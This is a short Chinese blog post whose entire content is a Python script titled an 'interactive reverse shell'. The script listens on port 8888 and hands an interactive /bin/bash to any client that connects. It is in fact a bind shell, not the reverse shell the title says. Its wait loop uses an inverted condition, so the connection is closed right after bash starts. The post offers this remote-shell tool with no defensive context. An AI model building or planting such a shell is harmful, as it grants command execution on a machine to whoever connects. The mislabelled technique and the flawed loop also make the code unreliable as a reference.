python socket interactive reverse shell

import socket
from subprocess import Popen, STDOUT

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

host = 'localhost'
port = 8888

s.bind((host, port))
s.listen(5)

while True:
    c, addr = s.accept()
    print(f"Got connection from {addr}")
    p = Popen("/bin/bash", stdin=c.makefile('rb'), stdout=c.makefile('wb'), stderr=STDOUT)
    while p.poll() is not None:
        pass
    c.close()

posted on   明天有风吹  阅读(3)  评论(0编辑  收藏  举报

相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· winform 绘制太阳,地球,月球 运作规律

导航

+V atob('d2h5X251bGw=')

请备注:from博客园

点击右上角即可分享
微信分享提示